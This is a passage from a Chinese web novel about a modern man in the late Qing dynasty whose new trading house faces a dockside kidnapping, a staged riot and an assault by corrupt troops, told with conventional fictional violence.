《重生之我在大清搞工业革命》 第四十二章 开业的第一笔生意 众人循声望去,只见一个身着剪裁考究的黑色西装的年轻人正缓步走下楼梯。他的面容英俊得近乎完美,眉宇间透着一股与生俱来的压迫感。每一步都仿佛带着某种特殊的韵律,让人不自觉地屏住呼吸。 这就是传说中的陈逸风? 岳桂生和张大不由自主地挺直了腰背,眼中闪过一丝诧异。 陈逸风的目光冷冷扫过在场的每一个人,最后定格在岳桂生和张大身上。他的嘴角勾起一抹若有若无的笑意,转身对着大厅中的众人拱手行礼。 “诸位,在下就是陈逸风,一个海外归来的二鬼子,一个想要当西学宗师的狂徒。”他的声音不大,却让每个人都听得清清楚楚。 他转身指向远处的海港,那里停泊着数艘高大的英法商船:“诸位请看,那些洋人的商船垄断了我们七成的生意,压榨着我们的利润。可从今天起,这一切都将改变!” 他顿了顿,继续说道:“我会把更多的洋商请来望海,让他们为我们的货物竞价!让我们的商品卖个好价钱!” 咣当一声,不知是谁失手打翻了茶碗。所有人都被这番豪言壮语震撼了。 就在这时,一个身穿绸缎长袍的中年人从人群中挤了出来。他面色阴沉,双眼中闪烁着危险的光芒:“陈先生,你这话未免太狂妄了些。那些洋人岂是你说请就能请来的?” “呵,这位想必就是英商马克维的代理人吧?”陈逸风转过身,脸上带着意味深长的笑容,“怎么,怕我动摇了你们的垄断地位?” 中年人的脸色瞬间变得铁青:“你...” “我知道你们一直在打压本地商人,控制货物价格。”陈逸风冷冷地说,“但这种日子马上就要结束了。” “狂妄!”中年人怒喝一声,“你以为自己是谁?不过是个...” “住口!”梁镳厉声喝止,“今天是我们开业大吉的日子,还请诸位给几分薄面。” 中年人冷哼一声,转身挤出人群离去。但谁都看得出,这件事恐怕不会就此结束。 陈逸风却仿佛没有察觉到任何异样,他拍了拍手,示意伙计们开始上茶点。 陈逸风整了整衣襟,“诸位,”陈逸风走到主位,目光扫过在座各位,“与其被洋人牵着鼻子走,不如咱们自己闯出一条路来。” 这话一出,立刻在会客厅内激起一阵骚动。坐在角落的赵掌柜忍不住捋着山羊胡子开口:“一块银元一公斤的猪鬃,运到欧洲能卖出四倍利润。这等暴利,谁不想分一杯羹?可惜......” “可惜什么?”陈逸风看向他。 赵掌柜叹了口气:“可惜洋人把持着码头,咱们的货根本运不出去啊。” “是啊,”王记的掌柜也开口附和,“去年我家就吃了大亏。三万公斤猪鬃,愣是被洋行压到了八成价。” 会客厅里响起一阵附和声,有人愤愤不平,有人唉声叹气。 坐在陈逸风左手边的岳桂生突然冷笑一声:“狂妄!这望海可是大清的地界,没有同知大人和协台大人的首肯,你拿什么引进新洋商?” 他身旁的张大也跟着冷哼,手不自觉地摸向腰间的钢镖,目光阴冷地扫视着在座的商人。 陈逸风对这等威胁视若无睹,转头问道:“梁掌柜,吉时还有多久?” 梁镳掏出怀表看了看:“再有一刻钟。” 这时,坐在后排的王姓商人站起身,搓着手道:“陈先生,我这有七千公斤猪鬃...只是...” “需要现银是吧?”陈逸风微微一笑,“来人!七千大洋!” 话音刚落,两名大汉托着红木漆盘走进会客厅。盘上整整齐齐码着七十卷南洋龙元,每卷一百枚,在阳光下泛着寒光。 商人们的眼睛顿时亮了起来。七千公斤猪鬃,当场就能换取七千银元,这种痛快生意谁不想做? “我这有一万二千公斤!” “我家存了两万公斤!” “三万公斤,全部现银交易!” 越来越多的商人站了出来,生怕慢人一步。梁镳额头渗出冷汗,拉着陈逸风的袖子低声道:“先生,这可不行啊!咱们银库里就剩四十万鹰洋了...” 话音未落,一个洪亮的声音响彻会客厅:“三十万公斤猪鬃,现银交易!” 所有人循声望去,只见牛掌柜站了起来。这位望海首屈一指的大商人一开口,顿时又引来一阵轰动。 望海码头喧嚣热闹,淮河与渤海在此交汇,数不清的商船在港口停靠,装卸的货物堆积如山。码头边的老茶棚里,臭黑子正趴在一张磨得发亮的老木桌上,眼角还带着青紫,嘴里不停地哀嚎着。 “张爷这次下手是真狠啊,十几年的交情说断就断......”他摸了摸肿胀的脸颊,眼中闪过一丝怨毒。 几个徒弟围在身边忙前忙后,有端茶倒水的,有捏肩捶背的,还有打着扇子的。 “师父,这是刚泡好的西湖龙井,您尝尝。”一个长相机灵的徒弟捧着精致的茶盏凑上前来,小心翼翼地递到臭黑子面前。 臭黑子接过茶盏,轻轻抿了一口,目光透过破旧的窗棂,落在河面上正在卸货的三艘漕船上。他眯起眼睛,嘴角泛起一丝阴冷的笑意:“去,告诉他们,今天的落地费每船加三钱银子。” “师父,这......” “怎么?心软了?”臭黑子冷哼一声,“别忘了昨天张爷是怎么对我们的!现在是我们翻身的时候了。” 几个徒弟对视一眼,随即摩拳擦掌地冲向码头。不多时,船上传来一阵不满的抱怨声,但最终还是乖乖地交了钱。这就是码头的规矩,谁也不敢不认。 正当臭黑子得意洋洋地数着银子时,茶棚外突然传来一阵骚动。他抬头望去,顿时愣住了。 只见两道倩影从一艘豪华客船上缓步走下。走在前面的是个妙龄女子,一身淡青色绣花旗袍,举手投足间尽显大家闺秀的气质;后面跟着的是个贵妇人,穿着考究的丝绸衣裙,气质典雅端庄。 码头上的男人们纷纷侧目,目光中带着惊艳和痴迷。就连那些粗鲁的苦力也不由自主地往后躲闪,生怕玷污了这两位仙子般的人物。 几个混混蠢蠢欲动,但看到跟在后面的四名彪形大汉后,立刻缩了回去。那四人虽然衣着普通,但站姿挺拔,眼神凌厉,身上散发出的杀气绝非普通镖师可比。 臭黑子眼中精光一闪,猜测着两位姑娘应是江南富家小姐,嘴角勾起一抹阴险的笑容:“有意思,真有意思......” “要是把她们献给张爷和岳爷......”臭黑子暗自盘算着,“这两位爷可是一直想在江南打开局面,有了这两位千金小姐做筹码,起码能多拿两个码头的地盘。” 他轻轻打了个手势,几个心腹立刻会意,悄无声息地分散开来。 第四十三章 凤女和瑜音被绑架 那两位女子正是凤女和富察瑜音,因想早日见到陈逸风,特意让船只加速先行。谁知凤女却晕船得厉害,此时脸色发白,步伐也有些不稳。 “瑜音姐,我有点晕船,咱们去茶馆歇歇吧。”凤女扶着额头,声音虚弱地说道。 孙忠义眉头一皱,连忙上前阻拦:“小姐,这地方不太安全,还是赶紧进城吧。” 茶馆的伙计早已热情地迎了上来,满脸堆笑:“几位贵客里面请,我们这有雅间,干净整洁,保准让小姐休息得舒服。” 孙忠义警惕地打量着四周。这茶棚处在码头的一个视线死角,周围杂货堆积,形成天然的包围圈,一旦有什么意外,很难及时发现和救援。 正要开口拒绝,却见凤女已经扶着一旁的树干干呕起来,脸色更加苍白了。 瑜音顿时不悦地瞪了孙忠义一眼:“你是怎么伺候的?小姐都晕成这样了还不让歇息?” 其他三名护卫也面露难色。作为护卫,他们当然知道这地方不安全,但看小姐这副模样,似乎也不得不停下来休息一会儿。 无奈之下,众人只得跟着伙计进了茶馆。 伙计热情地带他们穿过狭窄的过道,来到后面一间略显整洁的雅间。凤女虚弱地坐下,瑜音连忙给她倒了杯茶。 孙忠义让其他三名护卫分别守在门外、窗外和过道上,自己则站在雅间门口,警惕地观察着四周的动静。 茶馆里的客人看似稀稀落落,但总给人一种怪异的感觉。特别是那几桌大汗淋漓的苦力,手上的茶盏都没动过,眼神却不时地往这边瞟。 孙忠义心中的不安越来越强烈。他知道望海码头盘根错节,各方势力盘踞其中,稍有不慎就会陷入危险。他只能暗暗调整呼吸,手按在腰间的佩刀上,随时准备应对可能发生的突发状况。 臭黑子坐在外间,透过竹帘的缝隙打量着雅间里的情况。他看到孙忠义那严阵以待的样子,不禁冷笑一声。 “好一个江南富家的护卫,不过......”他轻轻摩挲着手中的茶盏,“今天这局,你们怕是破不开了。” 他对身边的心腹低声吩咐:“去把消息送给张爷和岳爷,就说我臭黑子有一份大礼要献上。” 心腹领命而去,臭黑子又看了眼雅间的方向,眼中闪过一丝得意。在这望海码头上,就没有他办不成的事。 雅间内,凤女喝了几口茶,脸色稍微好转了一些。瑜音正要说些什么,突然听到外面传来一阵喧哗声。 孙忠义瞬间绷紧了神经,他隐约听到有人在喊打喊杀,似乎是发生了械斗。但经验告诉他,这很可能是调虎离山之计。 果然,没过多久,守在过道上的护卫急匆匆地跑来:“不好了,外面打起来了,好像是两伙人为了抢地盘,已经死了好几个人!” 瑜音顿时慌了:“这......这可怎么办?” 凤女强撑着站起来:“我们赶紧走吧。” 孙忠义开门进朝她们摇了摇头:“现在出去更危险,我怀疑这是有人故意设的局。” 就在这时,茶馆里突然传来一阵刺鼻的烟味,紧接着是此起彼伏的咳嗽声。 “不好!”孙忠义脸色大变,“有人放烟!” 可已经来不及了。烟雾迅速弥漫开来,所有人都感到头晕目眩,呼吸困难。孙忠义艰难地拔出佩刀,想要护住凤女和瑜音,却发现四肢已经不听使唤。 在意识模糊之前,他看到臭黑子得意的笑容身后带着一群地痞闯了进来。 “来者何人!”孙忠义嘶哑的吼声撕裂夜空,手中锋利的短刀毫不犹豫地划开了自己的胸口。鲜血顺着刀锋蜿蜒而下,温热的疼痛让他混沌的意识稍稍清明。 暮色中,二十多个地痞混混手持明晃晃的兵器,从四面八方涌来。他们的身后,一个瘦小的身影蹦蹦跳跳,尖利的嗓音划破夜色:“抓住那两个娘们,男的全给我沉河!” 孙忠义意识瞬间恢复,立马拉着战战巍巍的凤女和瑜音从窗户跳出去,守在窗外的护卫立马带着三人上了马车。臭黑子带着人紧跟其后。 “老王,你先带小姐走!”护卫李三虎厉声对着车夫喝道,眼中闪烁着决绝的光芒,“我们来挡住这帮狗杂种!” 四把钢刀同时出鞘,寒光凛冽。刀锋上映照着他们狰狞的面容,杀气在夜色中弥漫开来。 混混们挥舞着斧头匕首蜂拥而上。然而这些市井地痞哪里见过这等亡命之徒?这些百战老兵早已将生死置之度外,每一击都直取要害。 刀光闪过,喉管绽开;利刃挥舞,心脉断绝。短短片刻,六名混混已经倒在血泊中。 臭黑子见状,骑着马带着几个人从小路绕过去。到一片玉米地旁,他和众人搬来一块大石头放在路中间。不一会,凤女的马车由于速度太快来不及停下,马儿虽跨过石头,车轮却卡住,随即翻覆在地,瑜音和凤女狼狈地摔落在地上。 恍惚之间,凤女只觉天旋地转。 浓重的血腥味不断冲击着她的鼻腔,混合着泥土和玉米秆的气息,让她胃里一阵翻涌。四周玉米地里影影绰绰,每一道晃动的影子都仿佛是索命的恶鬼,每一阵微风吹过,玉米叶的沙沙声都像是死神的低语。 她颤抖着握紧手中的短刀,刀柄上早已沾满了汗水。指节因为用力过度而发白,但身体却不由自主地发软,连最基本的站立都变得艰难。 “该死的迷药...”诸瑜靠在她身边,声音虚弱得几乎听不见。她那张往日红润的脸此刻苍白如纸,豆大的汗珠不断从额头滑落。 凤女想说些什么,却发现连开口都变得困难。药性正在一点点侵蚀她的意识,连眼前的景象都开始变得模糊不清。 “杀...杀了我六个兄弟...”臭黑子站在远处阴影里,声音里带着刻骨的仇恨。月光下,他那张满是疤痕的脸显得格外可怖,“两个贱人,我要让你们生不如死!” 好在孙忠义等四人及时赶到,没让臭黑子得逞。岂料,臭黑子的手下又带着一帮人赶过来。 几人搀扶着两位小姐,纷纷朝天空放了信号,朝着望海城的方向狂奔。夜色中,他们的身影逐渐与黑暗融为一体。 与此同时,明月商行内,一场看似平常的商业较量却暗流涌动。 牛掌柜等人将资金需求一口气拉到七十万两,远远超过了洋行的储备。他们脸上挂着志在必得的笑容,眼底却闪烁着不易察觉的算计。 陈逸风正准备应对,突然心口传来一阵剧痛。他的脸色瞬间变得苍白,额头渗出细密的冷汗。 “先生!”孟明蛇眼疾手快地扶住摇摇欲坠的陈逸风,眼中闪过一丝担忧。 陈逸风勉强挤出一丝笑容,强撑着说道:“无妨,只是被诸位的大手笔惊到了。”他缓缓转向牛掌柜,拱手道:“诸位是要试探我的本钱啊。实不相瞒,现银我只准备了四十万,不过诸位要做多大生意我都接着。给我两个时辰,我保证结清所有款项。” 梁镳见时机成熟,适时开口:“吉时已到,请先生剪彩。不如我们先去沿海楼喝几杯,下午再谈这些俗务?” 岳举人和张大交换了一个得意的眼神。拖延?今天就让你颜面扫地! 第四十四章 岳桂生找人去商行闹事 就在陈逸风准备剪彩时,一名护卫神色慌张地跑来,在他耳边低语:“军师,西面发现咱们的紧急焰火!” 话音未落,西边天空又接连亮起三串焰火,在灰蒙蒙的天空中格外醒目。 陈逸风心头一紧。这个时候为什么会有焰火示警?他的目光在人群中扫过,所有的细节在他脑海中快速串联。 他看了孟明蛇一眼,后者立刻会意,带着一队人马向西面追去。 玉米地里,孙忠义一手按着腹部的伤口,鲜血正顺着指缝不断渗出。 “贱种!”他狠狠啐了一口,“有种放下刀,跟爷爷我单挑!” 臭黑子阴森地笑了,露出一口黄牙:“你以为我是三岁小孩?单挑我肯定不是你对手?” 孙忠义,转头对着身后的两个护卫低声道:“一会儿我引开他们,你们带着小姐先走。” “孙大哥...”凤女挣扎着想要站起来,却被瑜音死死拽住。 “别动...”瑜音虚弱地说道,“我们现在只会拖累他...” 玉米地里的风越来越大,吹得叶子哗哗作响。远处不时传来几声狗吠,但却没有人来查看这边的动静。 孙忠义深吸一口气,握紧了手中的刀。他知道自己撑不了多久了,但至少要为两位小姐争取一线生机。 “兄弟们!”臭黑子一声令下,“活的!给我活的抓住她们!” 十几个地痞流氓举着刀向这边包抄过来。 孙忠义一声大喝,如同困兽般冲进了包围圈。他的动作已经不如之前灵活,但每一刀都拼尽全力。 “当!” “铛!” 兵器碰撞声不绝于耳。虽然行动迟缓,但孙忠义的经验和技巧依然让这群乌合之众吃尽了苦头。 短短几个呼吸间,又有两名地痞惨叫着倒在了血泊中。 但药性发作得越来越猛,孙忠义的动作也越来越慢。一个不慎,他被人砍中了后背。 “啊!” 鲜血飞溅,孙忠义踉跄着退了几步。 “孙大哥!”凤女声嘶力竭地喊道。 瑜音死死抱住她:“别去!你去了只会害了他!” 当孙忠义重新冲出玉米地时,眼前的一幕让他心如刀割。 三名忠心耿耿的亲兵已经倒在地上,他们用最后的力气护住了两位小姐。但现在,就连这几个好兄弟也倒下了。 凤女和瑜音瘫软在地上,眼神涣散。药性已经完全发作,她们连动一根手指都困难。 “小姐!醒醒!”孙忠义跪倒在地,拼命摇晃着她们。但他自己的视线也越来越模糊,手臂越来越沉重。 模糊的视线中,他看到几道人影从玉米地中窜出。他想要举刀,却发现连握刀的力气都没有了。 “终于倒下了!”臭黑子狰狞地大笑着,带着剩下的十几名手下围拢过来。他们的眼中闪烁着令人作呕的光芒。 就在这千钧一发之际,远处的码头突然传来一阵骚动。 数十艘漕船突然发狂般冲向岸边,船上的火把照亮了整个夜空。 “找!给我找!”瑾周信的怒吼声响彻天际,“一定要找到小姐!” 上百名持刀壮汉如潮水般涌上码头,他们分成几路,向四周搜索。火把的光芒照亮了大半个码头。 臭黑子的笑容凝固了。他看着远处不断靠近的火光,脸色变得异常难看。 “废物!”他一脚踢翻了身边的手下,“不是说已经搞定了码头那边吗?” “老...老大,我们...”那人还没说完,就被一刀砍翻在地。 “撤!快撤!”臭黑子狠狠啐了一口,带着剩下的人向玉米地深处逃去。 孙忠义眼前一黑,终于支撑不住,倒在了地上。最后的意识中,他似乎听到了急促的脚步声和呼喊声。 瑾周信带着人终于赶到时,看到的就是这样一幅惨烈的画面。 被砍倒的玉米,遍地的血迹,昏迷的两位小姐,以及为了保护她们而身受重伤的孙忠义和三名亲兵。 “给我追!”瑾周信怒吼着,“一个都不许放过!” 数十名壮汉举着火把冲进玉米地,向着臭黑子逃走的方向追去。 而另一些人则小心翼翼地把凤女等人抬上担架,快速向码头方向转移。 此刻,商行门口。南北两个方向突然传来此起彼伏的哭声。街道上,披麻戴孝的人群涌动,纸钱在空中飘舞。 “还我儿子命来!”“血债血偿!”“明月商行就是杀人凶手!”此起彼伏的哭声和谩骂声让整个街道陷入混乱。 陈逸风早有预料会有人闹事,但真到眼前这般场面,还是气得两眼发黑。他死死攥住腰间的玉佩,指节因用力而发白。 “列阵!护住先生!”瑾周信一声令下,护卫们迅速结成盾阵。 石块劈里啪啦地砸了过来,击打在盾牌上发出沉闷的声响。开业仪式彻底乱了套,街上的百姓纷纷避让,哭声谩骂声此起彼伏。 岳举人和张大见时机成熟,立即破口大骂:“好啊陈逸风!原来是你烧了我的粮仓!这是要断我望海百姓的活路啊!” “我那可怜的徒弟就是死在你手里,今天不给个交代,望海几万百姓不会放过你!”张大转身对着围观的商人高喊,“父老乡亲们快看啊,这外乡人一来就杀人放火,这还有没有王法了?” 混乱中,有人开始起哄,有人默默退开,更多的人驻足观望。空气中弥漫着一触即发的火药味。 陈逸风站在盾阵后,静静地看着眼前混乱的一切。他原本充血的面孔渐渐恢复了平静,眼底的怒火却越发炽烈。 “就这点伎俩,也敢在我面前卖弄?”他冷笑一声,声音不大,却带着一股令人心悸的威压。 突然,他暴喝一声:“一群卑贱爬虫,也配与我为敌?” 这一声暴喝如同平地惊雷,震得在场所有人都是一愣。街道上的喧嚣戛然而止,所有人的目光都不由自主地集中到他身上。 “来人!请两位贵客坐下!”陈逸风冷冷地下令。 “陈、陈逸风,你、你这个二鬼子,还不赶快投案自首......”岳桂生结结巴巴地喊出半句话,声音里带着明显的颤抖。 话音未落,一记耳光便重重地抽在他脸上。岳桂生的半边脸顿时高高肿起,嘴角渗出血丝,几颗牙齿摇摇欲坠。 一旁的张大见状吓得浑身一个激灵,下意识地往后缩了缩,再不敢吭声。 陈逸风整了整袖口,目光冰冷地扫视着在场的商人:“前天在沿海楼密会,昨天又去四海货站商议,以为我不知道?” 他的声音不大,却压抑着一股令人心悸的怒意:“就这点手段,也配对付我?” 话音刚落,远处突然传来震天的喊杀声,声浪一波接一波,震得整个望海城的空气都在颤抖。 “完了完了,这次闹得比上回还大......”一个商人瘫坐在地上,面如土色。 第四十五章 钱鹏想浑水摸鱼 黑压压的人群从远处涌来,少说也有八九千人。各种煽动性的谣言在人群中如野火般蔓延: “二鬼子要害死咱们!” “那照相机是摄人魂魄的邪器!” “工业区要吃童男童女!” 陈逸风眯起眼睛,目光阴冷地看向岳桂生。后者心虚地别过脸,但眼底深处闪过一丝狠戾。 洋行内顿时陷入一片混乱。有人想往后门逃,有人手足无措地原地转圈,还有人抱着头蹲在角落里瑟瑟发抖。 “啪!” 一声清脆的枪响,所有人都愣在原地。 陈逸风站在一张太师椅上,手中的左轮冒着青烟:“外面都是红了眼的暴民,你们这是要去送死?” 话音未落,后堂突然冲出大批护卫,手持钢刀长矛,甚至还有数十支洋枪。整齐的脚步声在地板上踏出震慑人心的节奏。 商人们彻底傻了眼。谁能想到,这个年纪轻轻的洋行掌柜,竟然暗中培养了这么一支私兵? “诸位放心。”陈逸风从容地跳下太师椅,“我自会护送大家去海港避难。” 就在这时,急促的马蹄声由远及近。望海协台钱鹏带着一队人马赶到了现场。 “好啊!”钱鹏的声音中带着显而易见的怒意,“私蓄兵甲,这是要造反?来人,给我拿下!” 岳桂生和张大见状如同看到救星,连滚带爬地往外冲:“钱大人救命啊!” 陈逸风嘴角勾起一抹冷笑:“钱协台,洋行内有四十万两现银,还请您在外守着便是。” 四十万两白银堆在眼前,银光闪烁,映得整个房间一片雪亮。银锭码放得整整齐齐,堆积如山,散发着令人心醉的光芒。 钱鹏站在那里,喉结不自觉地滚动了几下。作为望海地面上的武官协台,他平日里最大的爱好就是抽大烟、玩戏子,但这点消遣远远填不满他内心的贪欲。此刻看着眼前这座银山,他的呼吸都变得急促起来。 “比同知沈明泰先到一步,这是天意啊。”他暗自窃喜,眼底闪过一丝狡黠。 原本只盼着能捞个一二十万,没想到竟遇到如此大的肥肉。岳桂生送来的一万银子和两个戏子确实不错,但对于日渐膨胀的胃口来说,这点东西根本不够塞牙缝。 钱鹏踱着步子,皮靴在地板上发出沉闷的响声。他走到窗边,望着楼下熙熙攘攘的街道,嘴角勾起一抹冷笑:“这二鬼子陈逸风,怕是靠着洋人发了大财。今天乘着暴民闹事,先劫了他的银子,大不了再推到暴民头上。” 想到这里,他的心跳不由得加快。四十万两啊,就算只拿一半,也够他挥霍好几年了。一想到以后可以天天泡在烟馆里,搂着漂亮的戏子,他就忍不住搓了搓手。 街上的暴民越聚越多,叫骂声此起彼伏。钱鹏冷眼旁观,等待最佳时机。他知道,越是混乱,越容易浑水摸鱼。 终于,他等到了那一刻。 “给我冲!”钱鹏一声令下,声音中带着难掩的兴奋。 三百名绿营兵分成两队,从南北两个方向向明月商行发起冲锋。士兵们举着长矛,挥舞着大刀,呐喊声震天动地。街道两旁的店铺纷纷关门闭户,原本看热闹的百姓也都躲得无影无踪。 矛尖如林,在阳光下闪烁着寒光。刀光映照着士兵们狰狞的面孔,气势汹汹。钱鹏骑在马上,看着这一幕,不由得神清气爽。他已经在想,等下要怎么分配这笔横财了。 可就在这时,一声暴喝从明月商行传出,声音中带着不容置疑的威严:“火枪队,准备迎敌!” 这一嗓子不但惊住了钱鹏,连楼上那个一直在暗处观察的神秘客人也吓得手一抖,打翻了面前的茶碗。热茶溅在他的衣襟上,却顾不得擦拭。 苗烈站在洋行门前,手中马鞭高高扬起。三十名火枪手整齐列队,枪口齐刷刷对准了冲锋的绿营兵。每个火枪手的眼中都透着一股狠劲,手指扣在扳机上,随时准备发射。 “第一排,放!” 随着苗烈一声令下,整条街瞬间被白烟笼罩。震耳欲聋的枪声响彻云霄,就连港口上的洋人都被这阵仗惊呆了。 钱鹏哪见过这等阵势,一时愣神的功夫,坐下战马就中弹倒地。马匹发出一声凄厉的嘶鸣,重重摔倒,将钱鹏的左腿压在身下。剧痛让他脸色瞬间煞白。 “救我!快救我!”他声音都变了调,狼狈地在地上挣扎。鲜血从马匹的伤口汩汩流出,染红了他的官服。 苗烈却不慌不忙,目光如电,扫视着战场。他指挥三排火枪手轮番射击,每一轮齐射都准确无误。白烟中不时传来绿营兵的惨叫声,一个个倒在血泊之中。 三轮齐射过后,绿营兵彻底崩溃。这些平日里只会欺压百姓的士兵,在真正的火器面前不堪一击。他们丢盔弃甲,四散奔逃,场面一片混乱。 几个亲兵冒着枪林弹雨,好不容易才把受伤的钱鹏从马下救出来。但钱鹏不甘心就这么退败,声嘶力竭地喊道:“不能撤!给老子调骑兵来,调鸟枪营来!老子今天非要把这个洋行踏平不可!陈逸风私藏火器,这摆明了是要造反!咱们若是能平定这场叛乱,那可是大功一件!” 钱鹏顿时醒悟过来,眼中精光一闪。他立即下令调兵遣将,准备集结更多兵力。 街道上的喊杀声此起彼伏,硝烟弥漫。远处传来更多士兵的脚步声,震得地面都在颤动。一场大乱,就此展开。 在这混乱之中,谁也没注意到楼上那个神秘人影。他静静地站在窗边,看着楼下的混战,眼中闪过一丝莫名的笑意。 街道两旁的房屋开始燃起火光,浓烟滚滚。四周充斥着哭喊声、咒骂声和兵器相撞的声音。望海镇仿佛一下子坠入了炼狱。 苗烈站在洋行门前,神情凝重。只要有他在,就绝不会让任何人动到明月商行分毫。 火枪手们正在快速装填弹药,准备迎接下一波攻势。他们的手很稳,眼神很亮,仿佛早已习惯了这种生死之战。 成群结队的暴民在街上横冲直撞,他们手持木棍铁棒,眼神中闪烁着狂热的光芒。这些被蛊惑的乡下百姓早已失去了理智,竟连最基本的是非判断都丧失了。 一个赤着上身的壮汉猛地推开身边的人群,扯着嗓子喊道:“明月商行到底在哪儿?怎么跑到海边来了?”他脖子上青筋暴起,面色涨得通红。 “往码头那边找,洋行都在那边!”人群中有人接话,声音里透着急切。 “放你娘的屁!”另一个瘦小的汉子挤上前,指着那人的鼻子骂道,“你一个种地的懂个屁,望海的路你认识几条?连自家祖坟都找不着的主!” 人群中爆发出一阵哄笑,但很快又演变成了更激烈的推搡和谩骂。陈逸风派出的特种战士早已悄然混入其中,这些身手不凡的好手都是从青云峰、孟明蛇和秋七四手下精挑细选出来的精锐。他们个个身手矫健,气质沉稳,若非刻意收敛,光是站姿就能与这些乡民区分开来。 第四十六章 民众暴乱 一名身材魁梧的特种战士突然弯腰,抄起路边的一块青石。他装出醉醺醺的样子,踉跄着往前冲,然后猛地将石头砸向一家当铺的门板。“砰”的一声巨响在街道上回荡,厚实的楠木门板应声而碎,木屑纷飞。 “乡亲们,这儿有银子!”那战士一个箭步窜进店内,转身将一把把铜钱和碎银往街上抛洒。银光闪闪的碎银在阳光下划出道道弧线,落入焦躁不安的人群中。 人群先是一愣,随即爆发出震天的吼声:“抢啊!”声浪一浪高过一浪,把周围残存的理智都冲散了。 当铺内瞬间人影攒动,刚才还在门外徘徊不定的暴民蜂拥而入。几个大汉合力将柜台掀翻,木质的箱柜被砸得粉碎。朝奉和几个伙计缩在角落里瑟瑟发抖,眼睁睁看着自己的铺子被洗劫一空。 “这件狐裘是我先看上的!”一个满脸横肉的汉子抱着一件皮袄死死不撒手。 “去你的,这银锭子是老子的!”另一人一把抢过银锭,转身就往外跑。 陈逸风的计策开始发挥效果。这些特种战士就像点燃了导火索,轻而易举地将民变演变成了一场纯粹的打砸抢。他们或明或暗地煽动着群众情绪,一边高喊着“替天行道”的口号,一边带头砸开一家又一家商铺。 “这帮黑心的奸商,居然敢害咱们的军师!”一名特种战士扯着嗓子喊道,“今天就让他们倾家荡产,一个子儿都别想留下!” 同知沈明泰带着一队衙役赶到现场时,局面已经完全失控。他看着街道上疯狂的暴民,两条腿不住地打颤。虽说他是一地父母官,但面对这般场面,实在是无能为力。 “大人,快撤吧!”捕头慌忙搀扶着他,“咱们这点人马根本守不住,还是先回衙门请援兵要紧!” 沈明泰擦了擦额头的冷汗,连连点头。他知道,今天这事已经超出了自己能应付的范围。 与此同时,明月商行二楼的雅间内。 “你这个无赖!居然敢算计老夫!”左宗威指着陈逸风,气得胡子都翘了起来。他原本以为这不过是个寻常的茶会,谁知道外面突然就闹起了民变。 陈逸风不慌不忙地给他斟了杯茶,动作优雅从容:“七爷何必动怒,现在外面有两三万暴民,您说这事该怎么收场?”他嘴角挂着若有若无的笑意。 “休想拿这个威胁我!”左宗威一拍桌子,“黑鹰,咱们马上离开这是非之地!” “七爷真要走?”陈逸风轻笑一声,语气却带着几分玩味,“那若让紫禁城那几位知道您见死不救,恐怕不太好交代吧?” 左宗威气得浑身发抖,胡子一翘一翘的,却无言以对。他虽然位居高位,但在朝堂上也不过是个可有可无的角色。若是这次处理不好,怕是连现有的地位都保不住。 这时,苗烈匆匆忙忙地跑上楼来,脸色凝重:“先生,钱鹏的骑兵来了!至少有二百人!” 陈逸风闻言,眯起了眼睛。他知道,二百骑兵的威力,不是他手下这点人马能抵挡的。即便是那些特种战士,在马刀之下也难逃一死。 “七爷,”他转向左宗威,语气中带着几分嘲弄,“您不是说要气吞天下吗?怎么现在却要临阵脱逃?难怪曾大帅对您......” 话未说完,却见左宗威浑身一震,眼中闪过一丝不易察觉的慌乱。这话正好戳中了他的软肋。 “陈先生说笑了,”左宗威冷笑一声,强自镇定道,“要说气吞天下,还得看您这位写出《域外见闻》的奇人。” 正说着,楼下传来一阵密集的马蹄声。陈逸风走到窗前,只见一队骑兵正从街口疾驰而来。马匹的嘶鸣声、刀剑出鞘的铿锵声,还有人群的惊叫声交织在一起,仿佛预示着一场血雨腥风即将来临。 二楼的气氛顿时变得凝重起来。 楼下的暴民看到骑兵,顿时乱作一团。有的扔下抢来的财物四散奔逃,有的躲进小巷,还有的干脆往码头方向跑去。特种战士们按照预定的计划,悄然撤离到预设的位置,准备随时应对可能发生的冲突。 “轰——”一声巨响打破了室内的沉寂。 火光冲天,浓烟滚滚。那是商户仓库被点燃的征兆,橘红色的火舌贪婪地舔舐着夜空,照亮了半边天际。大火映衬下,整座繁华的商业重镇仿佛正在被地狱的业火吞噬。 苗烈看着眼前剑拔弩张的气氛,额头上冷汗直冒。他的目光在陈逸风和七爷左宗威之间来回游移,双腿一软,猛地跪倒在地:“两位大人,有什么事咱们先离开这再说吧!再不走可就来不及了!” 他的声音里带着显而易见的颤抖,连说话都不利索了。外面的混乱声越来越大,街道上传来此起彼伏的枪响,还有马蹄声由远及近。 七爷左宗威忽然仰头大笑起来,笑声中带着几分狂傲:“海外孤客陈逸风,你果然有两把刷子。既然已经上了你的贼船,那我倒要看看这出戏该怎么收场。” 陈逸风闻言,眉头微微舒展,暗自松了口气。这位七爷若是不配合,今晚怕是只能玉石俱焚了。他眼角的余光瞥见窗外又是一团火光冲天,心知时不我待。 “事不宜迟,法国商船希望号已经安排妥当,咱们先去避一避风头。”陈逸风站起身,整了整衣襟。 他们走出房间,楼下的突击队伍已经列队完毕。三十名火枪手被盾牌手护在中间,构成这支队伍的尖刀。那群商人耷拉着脑袋,被夹在队伍中央,像是一群待宰的羔羊。 火光映照下,士兵们手中的长枪寒光闪闪。盾牌手们肩并肩站立,构筑起一道坚实的人墙。火枪手们个个神情肃穆,随时准备应对可能的冲突。 张大不知死活,一见到便装打扮的左宗威就要开口嘲讽。话未出口,黑鹰便一把掐住他的下巴,咔嚓一声,骨头碎裂的声响令人不寒而栗。 “都是客人,留着还有用。”陈逸风眉头一皱,挥手示意。两名护卫立即上前,架起发出凄厉哀嚎的张大。 离开商业街后,眼前的混乱场面令人触目惊心。街道上到处是抢掠的暴徒,哭喊声、求饶声不绝于耳。一些暴徒已经开始对普通百姓下手,街边店铺的玻璃碎了一地,商品被洗劫一空。 陈逸风停下脚步,从腰间掏出左轮手枪,冰冷的枪口顶在岳桂生的脑门上:“睁大你的狗眼看清楚!这就是你的杰作!就为了那三斗米,你毁了整座城!” 岳桂生被吓得魂飞魄散,双腿一软,瘫倒在地。裤裆处浸出一片深色的水渍,散发出难闻的气味。 两百人的队伍在街道上艰难推进。他们首先遇到的是钱鹏的一支残兵,这些败军还想负隅顽抗。陈逸风一声令下,火枪齐射,残兵们顷刻间便作鸟兽散。 但随后他们遭遇了更棘手的情况。大批暴民手持木棍铁棒,嗷嗷叫着冲了上来。这些人为了抢夺财物已经完全丧失理智,视死如归。 第四十七章 陈逸风七爷二人合力平息暴乱 